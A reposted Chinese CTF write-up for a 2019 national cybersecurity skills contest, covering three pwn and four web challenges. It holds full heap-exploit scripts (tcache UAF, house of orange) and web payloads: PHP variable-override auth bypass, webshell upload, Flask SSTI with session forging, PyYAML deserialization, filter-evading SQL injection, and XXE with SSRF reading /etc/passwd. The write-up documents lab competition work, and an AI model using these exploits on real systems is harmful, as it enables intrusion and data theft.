2019年中国技能大赛网络安全管理职业技能竞赛CTF-web&pwn-writeup

2019-12-12 约 1881 字 预计阅读 9 分钟

声明:本文 【2019年中国技能大赛网络安全管理职业技能竞赛CTF-web&pwn-writeup】 由作者 iptabLs 于 2019-12-09 09:16:41 首发 先知社区 曾经 浏览数 3338 次

感谢 iptabLs 的辛苦付出!

2019年中国技能大赛—网络安全管理职业技能竞赛个人CTF-web&pwn-writeup

上周参加了“2019年中国技能大赛—全国电信和互联网行业网络安全管理职业技能竞赛”(国家级二类竞赛),本届的题目质量比往届高了不少,看得出主办方在题目方面花了不少心思(给出题人点个赞),web&pwn的题目难度分级控制得不错,部分题目还挺有意思,赛后特此总结一下。

pwn

babyheap

[*] '/home/kira/pwn/gxb/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax

  init_0();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        v3 = get_int();
        if ( v3 != 2 )
          break;
        delete();
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_13;
      add();
    }
    if ( v3 == 3 )
    {
      edit();
    }
    else
    {
      if ( v3 != 4 )
LABEL_13:
        exit(1);
      show();
    }
  }
}

菜单式题目,程序有malloc,free,edit,show4个功能。题目提供了libc,版本为2.27,此版本涉及到tcache,需使用ubuntu18.04进行调试。漏洞点比较明显,不过题目进行了一些限制,下面一一分析。

  • add函数

    unsigned __int64 add()
    {
    int v1; // [rsp+Ch] [rbp-14h]
    unsigned __int64 v2; // [rsp+18h] [rbp-8h]
    
    v2 = __readfsqword(0x28u);
    puts("index:");
    v1 = get_int();
    if ( v1 < 0 || v1 > 4 || table[v1] )
      exit(0);
    table[v1] = malloc(0x80uLL);
    ++count;
    puts("content:");
    read(0, table[v1], 0x80uLL);
    return __readfsqword(0x28u) ^ v2;
    }

    malloc固定大小为0x80,因此不能直接申请到超过tcache大小的堆块,同时只能申请0-4号5个堆块,有一个count的变量记录当前已申请数量。

  • delete函数

    unsigned __int64 sub_B8D()
    {
    int v1; // [rsp+4h] [rbp-Ch]
    unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
    v2 = __readfsqword(0x28u);
    puts("index:");
    v1 = get_int();
    if ( v1 < 0 || v1 > 4 || !table[v1] || !count )
      exit(0);
    --count;
    free(table[v1]);
    return __readfsqword(0x28u) ^ v2;
    }

    free后没有清空指针,有一个明显的UAF漏洞。由于没有清空指针,因此本题限制了只能申请5个堆块。在malloc和free次数限制的情况下进行getshell是本题的考点。

这里需要了解一下tcache->entries的结构,查看heap开头的位置可以看到如下信息。

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x55992fc9dd90 (size : 0x20270)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x110)   tcache_entry[15]: 0x55992fc9d3d0 --> 0x55992fc9d290
pwndbg> x/32gx 0x55992fc9d000
0x55992fc9d000: 0x0000000000000000      0x0000000000000251
0x55992fc9d010: 0x0000000000000000      0x0200000000000000  -> 2 对应 tcache_entry[15] 的数量
0x55992fc9d020: 0x0000000000000000      0x0000000000000000
0x55992fc9d030: 0x0000000000000000      0x0000000000000000
0x55992fc9d040: 0x0000000000000000      0x0000000000000000
0x55992fc9d050: 0x0000000000000000      0x0000000000000000
0x55992fc9d060: 0x0000000000000000      0x0000000000000000
0x55992fc9d070: 0x0000000000000000      0x0000000000000000
0x55992fc9d080: 0x0000000000000000      0x0000000000000000
0x55992fc9d090: 0x0000000000000000      0x0000000000000000
0x55992fc9d0a0: 0x0000000000000000      0x0000000000000000
0x55992fc9d0b0: 0x0000000000000000      0x0000000000000000
0x55992fc9d0c0: 0x0000000000000000      0x000055992fc9d3d0 -> tcache_entry[15] 
0x55992fc9d0d0: 0x0000000000000000      0x0000000000000000
0x55992fc9d0e0: 0x0000000000000000      0x0000000000000000
0x55992fc9d0f0: 0x0000000000000000      0x0000000000000000

可以看到记录tcache链表数量和tcache_entry指针位于heap中,我们可以对此段内存使用tcache attack进行修改,修改tcache链表内数量为7,这就可以不用填满就能泄露libc地址。

具体思路如下:

  1. 使用2次malloc,2次free;
  2. UAF泄露heap地址;
  3. 使用2次malloc,进行一次tcache attack,修改tcache链表内数量为7;
  4. 使用1次free后UAF泄露libc地址;
  5. 使用edit功能,修改tcache_entry指向free_hook;
  6. 使用最后一次malloc,修改free_hook为one_gadget;

完整EXP:

def add(idx,content):
    p.sendlineafter("4.show\n",'1')
    p.sendlineafter(":",str(idx))
    p.sendafter(":",content)

def delete(idx):
    p.sendlineafter("4.show\n",'2')
    p.sendlineafter(":",str(idx))

def edit(idx,content):
    p.sendlineafter("4.show\n","3")
    p.sendlineafter(":",str(idx))
    p.sendafter(":",content)

def show(idx):
    p.sendlineafter("4.show\n","4")
    p.sendlineafter(":",str(idx))

add(0,'0\n')
add(1,'1\n')

delete(0)
delete(0)
show(0)

print p.recv(6)
heap = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
success(hex(heap))

t = heap - 0x250
tt = heap - 0x250 + 0x78
edit(0,p64(t))

add(2,'0\n')
add(3,p64(0x0707070707070707).ljust(0x78,'\x00')+p64(tt))

delete(0)

show(0)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))  - 0x3ebc40 - 0x60
success(hex(libc.address))

edit(3,p64(0x0707070707070707).ljust(0x78,'\x00')+p64(libc.sym['__free_hook']))

one = 0x4f322
add(4,p64(libc.address+one))

delete(4)
p.interactive()

orange

[*] '/home/kira/pwn/gxb/Orange'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
nt __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed int v3; // eax

  init(*(_QWORD *)&argc, argv, envp);
  getname();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = read_int();
      if ( v3 != 2 )
        break;
      show();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        edit();
      }
      else
      {
        if ( v3 == 4 )
        {
          puts("bye");
          exit(1);
        }
LABEL_14:
        printf("invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_14;
      add();
    }
  }
}

看到题目叫Orange,肯定需要利用huose of Orange,题目只有3个功能,add,edit,show,没有free的功能,典型的huose of Orange利用场景。简单看一下具体有哪些能利用的漏洞。

  • add函数

    int add()
    {
    signed __int64 v0; // rax
    signed int i; // [rsp+8h] [rbp-8h]
    signed int v3; // [rsp+Ch] [rbp-4h]
    
    for ( i = 0; ; ++i )
    {
      if ( i > 8 )
      {
        LODWORD(v0) = puts("You can't add new page anymore!");
        return v0;
      }
      if ( !*((_QWORD *)&heap + 2 * i) )
        break;
    }
    printf("size:");
    v3 = read_int();
    if ( v3 <= 0 || v3 > 0x1FFF )
    {
      LODWORD(v0) = puts("size overflow");
    }
    else
    {
      *((_QWORD *)&heap + 2 * i) = malloc(v3);
      dword_6020E8[4 * i] = v3;
      v0 = 16LL * i + 0x6020EC;
      dword_6020E8[4 * i + 1] = 1;
    }
    return v0;
    }

    malloc申请内存的大小范围很大,申请的heap块地址存放在bss段0x6020E0

  • edit函数

    int edit()
    {
    signed __int64 v0; // rax
    int v1; // edx
    signed int v3; // [rsp+Ch] [rbp-4h]
    
    printf("index:");
    v3 = read_int();
    if ( v3 > 7 )
    {
      puts("out of index");
      exit(0);
    }
    if ( v3 != 5 || overflag != 1 )
    {
      if ( *((_QWORD *)&heap + 2 * v3) && dword_6020E8[4 * v3 + 1] == 1 )
      {
        printf("content:");
        read_con(*((_QWORD *)&heap + 2 * v3), (signed int)dword_6020E8[4 * v3]);
        v1 = strlen(*((const char **)&heap + 2 * v3));
        v0 = 16LL * v3 + 6299880;
        dword_6020E8[4 * v3] = v1;
      }
      else
      {
        LODWORD(v0) = printf("%s invaild index\n", &name);
      }
    }
    else
    {
      printf("content:");
      LODWORD(v0) = read_con(*((_QWORD *)&heap + 10), 1024LL);
      overflag = 0;
    }
    return v0;
    }

    这里出题人故意留了很多漏洞供我们使用

  • LODWORD(v0) = printf("%s invaild index\n", &name);,name的位置在bss段,紧接着存放heap块地址的内存,填满name打印时可以泄露heap地址;
  • 修改content后使用strlen重新计算长度,而且输入没有进行00截断,可造成heap溢出;
  • edit 5号heap块时,可以写入1024字节,一个简单粗暴的heap溢出;

具体的利用思路:

  1. 开头输入0x20字节name,edit一个不存在的heap泄露heap地址;
  2. 利用edit第二个漏洞,修改topchunk size;
  3. 申请一个超大的heap,使topchunk被释放到unsorted bin,使用show进行泄露libc地址;
  4. 使用edit 5号heap进行堆溢出,覆盖unsortedbin的BK,构造fake FILE结构体;
  5. 随意申请一个heap触发unsortedbin attack完成整个攻击流程;

huose of Orange的具体原理不在详述了,可以查看其他大佬的文章。

EXP:

def add(size):
    p.sendlineafter("choice:",'1')
    p.sendlineafter(":",str(size))

def show(idx):
    p.sendlineafter("choice:","2")
    p.sendlineafter(":",str(idx))

def edit(idx,content):
    p.sendlineafter("choice:","3")
    p.sendlineafter(":",str(idx))
    p.sendafter(":",content)

p.sendlineafter("name","0"*0x20)
add(0x18) #0
p.sendlineafter("choice:","3")
p.sendlineafter(":","6")

# leak heap address
p.recvuntil("0"*0x20)
heap = u32(p.recv(4))
success(hex(heap))

# leak libc address
add(0x18)  # 1
edit(1,"1"*0x18)
edit(1,"2"*0x18+p16(0xfc1)+'\x00') # top chunk

add(0x1000)  # 2
add(0x50)  # 3

show(3)
libc.address = u64(p.recv(6).ljust(8,"\x00")) - 0x3c4b20 - 0x668
success(hex(libc.address))

# house of orange
add(0x10)  # 4
add(0x10)  # 5

payload = "3"*0x10
payload += '/bin/sh\x00' + p64(0x61)
payload += p64(libc.symbols["__malloc_hook"])
payload += p64(libc.symbols['_IO_list_all']-0x10) 
payload += p64(0) + p64(1) 
payload = payload.ljust(0xd8+0x10,'\x00') + p64(heap+0xc0+0x10+0xd8+8) 
payload += p64(0)+p64(0)+p64(1)+p64(libc.symbols['system']) 

edit(5,payload+'\n')
add(1) 
p.interactive()

overflow

[*] '/home/kira/pwn/gxb/overflow'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

题目使用静态编译,存在一个很明显的栈溢出,直接使用ROPgadget生成ropchain即可。

ROPgadget --binary overflow --ropchain

这题比较简单,属于pwn的签到题,不再详述了。

web

blog

打开是一个blog的登陆页面,扫描一下可以发现存在/admin/以及/config/目录,题目有列目录

config.ini文件有数据库信息,不过数据库不能外连,没用。

[数据库连接信息]
host = '127.0.0.1'
user = 'root'
pass = 'root'
db   = 'seclover'

[后台路径]
path='/admin/'
#需要修改后台路径时将admin文件夹重命名

点击download.php发现会下载自身,不过文件为空,burp重放发现响应包中有filename=参数。大胆猜测可以通过传入filename=参数进行文件下载。

简单fuzz一下常见的文件目录,最后发现filename=/../etc/passwd能读取到文件。

读取题目源码进行分析,发现checklogin.php存在变量覆盖漏洞

<?php
    session_start();

    ini_set('register_globals','1');
    require_once('./../config/sql.php');

    foreach (array_keys($_REQUEST) as $v) {
        $key = $v;
        $$key = $_REQUEST[$v];
    }

    $sql = new sql;

    $userinfo = sql->select("`admin`","*","where `user`='$user'");

    if($userinfo['pass']===$pass){
        $_SESSION[admin] = 'true';
    }else{
        echo '密码错误!';
    }

而后台验证是使用session进行判断,因此通过变量覆盖将$_SESSION[admin]覆盖成True即可登陆后台。

http://x.x.x.x/admin/checklogin.php?_SESSION[admin]=true

登陆后台后发现有上传功能,直接上传php会报错,使用burp抓包,通过大小写绕过后台黑名单限制,但是发现无法正常解析,最后使用php5成功解析,上传一句话木马直接getshell。

easy_flask

打开页面也是一个登陆界面,发现随便输入一个账号密码即可登陆,但是提示不是admin。

ssti是常见的考点,直接在url中测试输入/2227*'7'}},发现404页面存在ssti。过滤比较严格,貌似无法直接读取文件或命令执行。不过发现config没有过滤。那么可以通过222config}}读取secret_key,获取后可以伪造session越权为admin。

'SECRET_KEY': 'c63701a0-f565-4a1f-a0b6-d0a80bf31b9a'

首先随意登陆一个账号,获取登陆cookie,解密cookie可以发现只有一个username字段

yJ1c2VybmFtZSI6IjEyMyJ9.XdpOVA.1zVjAfpKt7wnpbvJyNGQ5a-ocSo 

py -2 flask_session_cookie_manager2.py decode -s "c63701a0-f565-4a1f-a0b6-d0a80bf31b9a" -c "eyJ1c2VybmFtZSI6IjEyMyJ9.XdpOVA.1zVjAfpKt7wnpbvJyNGQ5a-ocSo"

{u'username': u'123'}

将username修改为admin后,使用secret_key重新生成cookie

py -2 flask_session_cookie_manager2.py encode -s "c63701a0-f565-4a1f-a0b6-d0a80bf31b9a" -t "{u'username': u'admin'}"

eyJ1c2VybmFtZSI6ImFkbWluIn0.ELtihg.BnshJq3vrgRBfX7wTK-scsMxbOU

修改cookie,登录后发现增加了一个tools的功能,页面直接提示是pyyaml反序列化。

拿常见payload进行测试,发现有waf,目测是黑名单过滤,测试多个python命令执行的payload最后使用以下payload成功执行命令:

!!python/object/new:commands.getoutput ["ls"]
!!python/object/new:commands.getoutput ["cat f1111111111114g.txt"]

php之禅

打开index.php会自动跳转,并加入get参数,通过观察,很容易发现一个文件包含漏洞,直接使用伪协议读取一波源码。

http://100.100.100.122:8083/?f=home.php&n=Master
http://100.100.100.122:8083/?f=php://filter/convert.base64-encode/resource=home.php&n=Master

但是base64解码之后,发现php是进行了加密的。

<?php
  qv{tm|}8?G~ty.6hph?#..}{pw8?$p*&O}t{wu}4?6<G_]LC?v?E6?9$7p*&?#..}{pw8?lja8lw8.}l8lp}8~ty.9?#..<Gl8%8<G_]LC?Gl?E#..q~0<Gl8>>80qvlnyt0<Gl18%%%8jwmv|0uq{jwlqu}0ljm}1111c...}{pw8<~ty.#..}
?>

使用扫描脚本扫描一下,寻找是否存在源码泄露或其他更多提示。最后发现了存在phpinfo.php

> py -2 SourceLeakHacker.py http://100.100.100.122:8083/ 10 5
 [ 302 ]  Checking : http://100.100.100.122:8083/index.php
 [ 200 ]  Checking : http://100.100.100.122:8083/phpinfo.php

通过phpinfo发现题目加载了奇怪的模块

extension_dir /usr/lib/php/20151012
mysqli

使用文件包含下载扩展模块的so文件

http://100.100.100.122:8083/?f=php://filter/convert.base64-encode/resource=/usr/lib/php/20151012/mysqli.so&n=Master

拖入IDA进行分析,可以找到一个php_decode_compile_file的函数

__int64 __fastcall php_decode_compile_file(__int64 a1, unsigned int a2)
{
  signed int i; // [rsp+1Ch] [rbp-24h]
  __int64 v4; // [rsp+20h] [rbp-20h]
  size_t size; // [rsp+28h] [rbp-18h]
  void *s; // [rsp+30h] [rbp-10h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  if ( !(unsigned int)zend_stream_fixup(a1, &v4, &size) && !strcmp(*(const char **)(a1 + 88), "/var/www/html/home.php") )
  {
    s = malloc(size);
    memset(s, 0, size);
    for ( i = 0; i <= size; ++i )
    {
      if ( i <= 6 || i >= size - 5 )
        *((_BYTE *)s + i) = *(_BYTE *)(v4 + i);
      else
        *((_BYTE *)s + i) = *(_BYTE *)(v4 + i) ^ 0x18;
    }
    *(_QWORD *)(a1 + 40) = s;
  }
  return orig_compile_file(a1, a2);
}

可以看到home.php进行了xor,算法不难直接将之前获取的源代码进行异或得到明文。

<?php
include '_flag.php';
echo '<h2>Welcome,'.$_GET['n'].'!</h2>';
echo 'try to get the flag!';
$_t = $_GET['_t'];
if($_t && (intval($_t) === round(microtime(true)))){
  echo $flag;

这里其实是出题人留的一个坑,如果强行爆破时间会得到一个假flag,重新查看so的代码,会发现intval被hook了。

__int64 php_override_functions()
{
  return php_override_func("intval", 8LL, (__int64)zif_intval_ex, &origin_funcs);
}

intval被覆写成zif_intval_ex,具体伪代码如下:

unsigned __int64 __fastcall zif_intval_ex(__int64 a1, __int64 a2)
{
if ( (unsigned int)zend_parse_parameters(*(unsigned int *)(a1 + 44), "s|z/", &v8, &v9) != -1 )
  {
    v11 = 0LL;
    v12 = (_QWORD *)zend_hash_str_find(&executor_globals[38], "_GET", 4LL);
    if ( v12 )
    {
      v35 = v12;
      if ( *((_BYTE *)v12 + 8) == 7 )
      {
        v10 = zend_hash_str_find(*v12, "key", 3LL);
        if ( v10 )
        {
          v11 = zend_hash_str_find(*v12, "content", 7LL);
          if ( v11 )
          {
            zend_error(2LL, *(_QWORD *)v10 + 24LL);
            zend_error(2LL, *(_QWORD *)v11 + 24LL);
          }
        }
      }
    }
    php_printf("%s", *(_QWORD *)v11 + 24LL);
    if ( v10 )
    {
      if ( v11 )
      {
        s = "openssl_decrypt";
        v16 = v15;
        v2 = strlen("openssl_decrypt");
        src = s;
        n = v2;
        v57 = v2;
        v58 = _emalloc((v2 + 32) & 0xFFFFFFFFFFFFFFF8LL);
        *(_DWORD *)v58 = 1;
        *(_DWORD *)(v58 + 4) = 6;
        v59 = v58;
        *(_QWORD *)(v58 + 8) = 0LL;
        *(_QWORD *)(v58 + 16) = v57;
        v60 = v58;
        memcpy((void *)(v58 + 24), src, n);
        *(_BYTE *)(v60 + n + 24) = 0;
        v17 = v60;
        *(_QWORD *)v16 = v60;
        *(_DWORD *)(v16 + 8) = 5126;
        v18 = (char *)(*(_QWORD *)v11 + 24LL);
        v19 = &v62;
        v3 = strlen(v18);
        v24 = v18;
        v51 = v3;
        v52 = v3;
        v53 = _emalloc((v3 + 32) & 0xFFFFFFFFFFFFFFF8LL);
        *(_DWORD *)v53 = 1;
        *(_DWORD *)(v53 + 4) = 6;
        v54 = v53;
        *(_QWORD *)(v53 + 8) = 0LL;
        *(_QWORD *)(v53 + 16) = v52;
        v55 = v53;
        memcpy((void *)(v53 + 24), v24, v51);
        *(_BYTE *)(v55 + v51 + 24) = 0;
        v21 = v55;
        *(_QWORD *)v19 = v55;
        *((_DWORD *)v19 + 2) = 5126;
        v22 = "AES-128-CBC";
        v23 = &v63;
        v4 = strlen("AES-128-CBC");
        v28 = v22;
        v46 = v4;
        v47 = v4;
        v48 = _emalloc((v4 + 32) & 0xFFFFFFFFFFFFFFF8LL);
        *(_DWORD *)v48 = 1;
        *(_DWORD *)(v48 + 4) = 6;
        v49 = v48;
        *(_QWORD *)(v48 + 8) = 0LL;
        *(_QWORD *)(v48 + 16) = v47;
        v50 = v48;
        memcpy((void *)(v48 + 24), v28, v46);
        *(_BYTE *)(v50 + v46 + 24) = 0;
        v25 = v50;
        *v23 = v50;
        *((_DWORD *)v23 + 2) = 5126;
        v26 = (char *)(*(_QWORD *)v10 + 24LL);
        v27 = &v64;
        v5 = strlen(v26);
        v33 = v26;
        v41 = v5;
        v42 = v5;
        v43 = _emalloc((v5 + 32) & 0xFFFFFFFFFFFFFFF8LL);
        *(_DWORD *)v43 = 1;
        *(_DWORD *)(v43 + 4) = 6;
        v44 = v43;
        *(_QWORD *)(v43 + 8) = 0LL;
        *(_QWORD *)(v43 + 16) = v42;
        v45 = v43;
        memcpy((void *)(v43 + 24), v33, v41);
        *(_BYTE *)(v45 + v41 + 24) = 0;
        v29 = v45;
        *v27 = v45;
        *((_DWORD *)v27 + 2) = 5126;
        v30 = &v65;
        v65 = 1LL;
        v66 = 4;
        v31 = "0000000000000000";
        v32 = &v67;
        v6 = strlen("0000000000000000");
        v13 = v31;
        v36 = v6;
        v37 = v6;
        v38 = _emalloc((v6 + 32) & 0xFFFFFFFFFFFFFFF8LL);
        *(_DWORD *)v38 = 1;
        *(_DWORD *)(v38 + 4) = 6;
        v39 = v38;
        *(_QWORD *)(v38 + 8) = 0LL;
        *(_QWORD *)(v38 + 16) = v37;
        v40 = v38;
        memcpy((void *)(v38 + 24), v13, v36);
        *(_BYTE *)(v40 + v36 + 24) = 0;
        v34 = v40;
        *v32 = v40;
        *((_DWORD *)v32 + 2) = 5126;
        if ( !(unsigned int)call_user_function_ex(executor_globals[54], 0LL, v15, &v61, 5LL, &v62, 0LL, 0LL)
          && *(_QWORD *)(v61 + 16) <= 0x10uLL )
        {
          zend_eval_string(v61 + 24, 0LL, &unk_1CE2);
        }
      }
    }
    origin_funcs(a1, a2);
}

这个函数的功能是通过get传入key和content,然后调用了openssl_decrypt函数,其中key为密钥,content为密文,加密方式为AES-128-CBC,IV为0000000000000000,密文解密后调用了eval。

那么,可以把需要执行的命令进行AES加密后,通过GET的方式传入参数进行命令执行,使用以下脚本生成payload:

$a = openssl_encrypt("system('ls');","AES-128-CBC","12345678",OPENSSL_RAW_DATA,"0000000000000000");
echo urlencode($a);
$a = openssl_encrypt("system('cat *');","AES-128-CBC","12345678",OPENSSL_RAW_DATA,"0000000000000000");
echo urlencode($a);
http://100.100.100.122:8083/home.php?_t=1574566875&key=12345678&content=%B6%9E%91%22%C6%D2%60Jr%0Bx%07Z%B8%1EQ
http://100.100.100.122:8083/home.php?_t=1574566875&key=12345678&content=t%DA%0D%E8%A5g%7D%22A7%D0%5E%8E%8B%F8i%5B%030C%C2%3E%02%02%C2Fq%EDj%FAj%29

直接cat *获取flag

<?php
        $flag='flag{s000_1s_th3_pHp_Ext3ens1on}';
?>

<?php
  qv{tm|}8?G~ty6hph?#}{pw8?$p*&O}t{wu}4?6<G_]LC?v?E6?9$7p*&?#}{pw8?lja8lw8}l8lp}8~ty9?#<Gl8%8<G_]LC?Gl?E#q~0<Gl8>>80qvlnyt0<Gl18%%%8jwmv|0uq{jwlqu}0ljm}1111c}{pw8<~ty#}
?>
<?php

  if($_GET['f'] && !is_array($_GET['f'])){
    include $_GET['f'];
  }else{
    header("Location: /?f=home.php&n=Master");
  }
?>


<?php
  phpinfo();
?>

note(精英赛)

打开题目,又是一个登陆界面,按照之前的做题经验,不可能是无脑爆破,尝试使用万能密码进行登陆。

username=admin' or 1#&password=123

登陆失败并返回

admin' 1# maybe password error!

可以发现or没有了,估计是后台对部分关键字进行了替换为空。测试发现除了or,还有select/and被替换,直接采用双写即可绕过。

简单测试后,发现可以用布尔注入进行sql注入,条件为假时提示密码错误,条件为真时没有返回信息。

username=admin' anandd oorrd(mid(user(),1,1))>1000#&password=admin 
返回信息:admin' and ord(mid(user(),1,1))>1000# maybe password error!

username=admin' anandd oorrd(mid(user(),1,1))>0#&password=admin    
返回信息:nothing

修改一下tamper文件,用sqlmap最后注出admin密码为:a8ujj2fa2ddasd

登陆后发现一个留言窗口,输入类型为xml,那么很可能存在XXE,直接用常用的payload测试一下。

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE root [<!ENTITY flag SYSTEM "file:///etc/passwd">]>  
<root>  
<value>&flag;</value>  
</root>

发现可以正常读取文件。

尝试直接读取flag,但是试了/flag/flag.txt/flag.php均无果。直接拿burp fuzz一下常见的系统文件

/proc/self/cmdline
/proc/self/environ
/proc/self/cwd/index.php
/proc/self/mounts
/etc/hosts
/etc/httpd/conf/httpd.conf
/etc/apache2/sites-enabled/000-default.conf
/usr/local/etc/nginx/nginx.conf
/etc/nginx/conf/nginx.conf
/proc/self/fd/2
/proc/self/fd/1
/proc/self/fd/0

最后在/etc/hosts发现存在二层内网

127.0.0.1   localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.55.2.11 68337dd50b7d
172.55.2.10  inside_web.com

XXE+SSRF读取内网web

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE root [<!ENTITY flag SYSTEM "php://filter/read=convert.base64-encode/resource=http://inside_web.com/index.php">]>  
<root>  
<value>&flag;</value>  
</root>

base64解码后,发现内网网站可用file参数读取文件

<!DOCTYPE html>
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <title>file browser</title>
  </head>
</body></html>

plz set file to access

继续尝试直接读取flag

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE root [<!ENTITY flag SYSTEM "php://filter/read=convert.base64-encode/resource=http://inside_web.com/index.php?file=/flag">]>  
<root>  
<value>&flag;</value>  
</root>

这次成功了!

<!DOCTYPE html>
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <title>file browser</title>
  </head>
</body></html>

flag{f1eed0ffda188381fc2521e61b9a2788bb3a}

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now